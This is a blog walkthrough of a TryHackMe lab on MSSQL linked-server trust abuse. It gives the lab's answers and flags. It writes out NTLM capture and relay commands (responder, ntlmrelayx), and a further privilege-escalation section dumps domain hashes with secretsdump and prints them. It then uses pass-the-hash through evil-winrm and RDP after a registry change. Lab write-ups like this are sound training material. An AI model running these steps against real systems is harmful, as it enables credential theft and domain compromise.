Sitemap

TryHackMe SQL Server Trust Exploitation Walkthrough

5 min readSep 27, 2026

--

Press enter or click to view image in full size

TL;DR Walkthrough of the TryHackMe SQL Server Trust Exploitation network room.

This is one of the new TryHackMe MAX Networks. MAX costs more so I’m putting these Walkthroughs in a seperate list:

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This is another one of the new network rooms on TryHackMe. This one covers MSSQL enumeration and exploitation.

On an administrative note, Medium refused to save my draft until I removed all the commands I ran in MSSQL. I just screenshotted them in Notepad so you can see what I used. Everything I did in BASH or PowerShell is shown as normal.

Press enter or click to view image in full size

— — Task 1 — -

Mark as complete

Mark as complete

— — Task 2 — -

What linked server is visible from SQL01?

What linked server is visible from SQL01?

python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py 'analyst:AnalystAccess!24@192.168.13.111' -port 1433

SELECT name, product, provider, data_source, is_linked, is_rpc_out_enabled FROM sys.servers;

SQL02

Which enabled linked-server setting will allow SQL01 to execute remote procedures on remote hosts?

RPC OUT

Press enter or click to view image in full size

— — Task 3 — -

Before xp_cmdshell can be enabled through sp_configure which configuration option must be set to 1?

show advanced options

Which statement best explains why whoami returns svc_sql01 while the SQL login is command_student?

‘command_student’ is an alias for ‘svc_sql01’.

SQL logins and Windows process identities are separate security contexts.

The AttackBox replaces SQL logins with domain accounts.

The linked server changes every local Windows process identity.

SQL logins and Windows process identities are separate security contexts.

— — Task 4 — -

Which login does analyst become on SQL02?

link_operator

What flag is stored in the linked server’s evidence table?

THM{linked_servers_cross_trust_boundaries}

Which configuration allows analyst to run commands as link_operator on SQL02?

The ‘analyst’ server role on SQL01

The linked-server login mapping

The AttackBox user account

The ‘xp_cmdshell’ proxy account

Get Rich’s stories in your inbox

Join Medium for free to get updates from this writer.

The linked-server login mapping

Press enter or click to view image in full size

— — Task 5 — -

Which stored procedure triggered the outbound filesystem access?

xp_dirtree

Which account authenticates from SQL02?

sudo responder -I tun0 -v

thm-ad\svc_sql02

Which protocol carries the authentication attempt to the UNC path?

SMB

Which identity does SQL02 use when it accesses the UNC path?

The ‘analyst’ SQL login

The ‘link_operator’ SQL login

The SQL02 SQL Server service account

The AttackBox ‘root’ account

The SQL02 SQL Server service account

Press enter or click to view image in full size

— — Task 6 — -

After validating the relayed SQL session, what flag confirms that the service account inherited additional SQL privileges?

#In the first BASH tab logged into MSSQL
<shown in screenshot>

#In a second BASH tab
python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx -t mssql://192.168.13.111 -i -smb2support

#In a third BASH tab
nc 127.0.0.1 11000
<shown in screenshot>

THM{relayed_identity_inherited_sql_privileges}

After using xp_cmdshell to read the lab evidence file on SQL01, what flag proves that the complete chain succeeded?

THM{xp_cmdshell_bridges_database_and_os}

Which identity pairing describes the final xp_cmdshell stage?

SQL session: ‘THM-AD\svc_sql02’; Windows process: ‘THM-AD\svc_sql01’

SQL session: ‘THM-AD\svc_sql02’; Windows process: ‘THM-AD\svc_sql02’

SQL session: ‘analyst’; Windows process: ‘link_operator’

SQL session: ‘THM-AD\svc_sql01’; Windows process: ‘command_student’

SQL session: ‘THM-AD\svc_sql02’; Windows process: ‘THM-AD\svc_sql01’

Press enter or click to view image in full size

— — Task 7 — -

Which principle should be applied to the linked server and service accounts?

least privilege

Privilege Escalation

This room didn’t really have privilege escalation as part of the instruction, just enumerating MSSQL. You know me though, I went looking for it. It turned out to be pretty simple; the escalation path was human nature and password re-use.

nxc smb 192.168.13.110 -d thm-ad.local -u Administrator -H /home/kali/TryHackMe_hashes.txt --lsa
Press enter or click to view image in full size

I used the DC’s account for secretsdump just for practice.

THM-AD\DC01$

edb67d756510f38394bd4947826269df

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'thm-ad.local/DC01$'@192.168.13.110 -hashes :edb67d756510f38394bd4947826269df
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2dfe3378335d43f9764e581b856a662a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0393a341ff343d0b6ebcb3e837df4813:::
thm-ad.local\svc_sql01:1112:aad3b435b51404eeaad3b435b51404ee:5eb9096ce4e0efa1ac06030452a7991c:::
thm-ad.local\svc_sql02:1113:aad3b435b51404eeaad3b435b51404ee:2a3f76fb5eecd0b0b145c04ab7bec0a2:::
DC01$:1008:aad3b435b51404eeaad3b435b51404ee:edb67d756510f38394bd4947826269df:::
SQL01$:1111:aad3b435b51404eeaad3b435b51404ee:c0e7de333a8e66e5369a099bb1061e27:::
SQL02$:1114:aad3b435b51404eeaad3b435b51404ee:a5f0bcfd565a10f86c358e2e42814819:::
Press enter or click to view image in full size

I then WinRMed into the DC, turned off Restricted Admin Mode so I could PTH via RDP, and then went poking around a bit. I didn’t find anything all that interesting though.

evil-winrm -i 192.168.13.110 -u Administrator@thm-ad.local -H 2dfe3378335d43f9764e581b856a662a

#disable RestrictedAdmin Mode, aka allow RDP via PTH
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -force

xfreerdp /v:192.168.13.110 /u:Administrator /pth:2dfe3378335d43f9764e581b856a662a /dynamic-resolution

Summary

TryHackMe used the DSRM hash from another room as the Administrator, aka SID 500, hash in this room. They must have promoted the DC without changing the password in this room. Both member servers that are running MSSQL are also using that same DSRM hash for their local admin accounts. I was going to update my hash tracker but the Administrator, DSRM, and both member server’s local admins are all using the same hash.

Press enter or click to view image in full size

Maybe they should have added a few tips & Best Practices to Task 7 like trying to avoid password reuse, LAPS, etc.

This was still a good little room and a good refresher on MSSQL enumeration. CRTP included it and I worked it into Mishky’s Cyber Range, but it’s not something I see too often in in CTFs, TryHackMe rooms, etc.

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.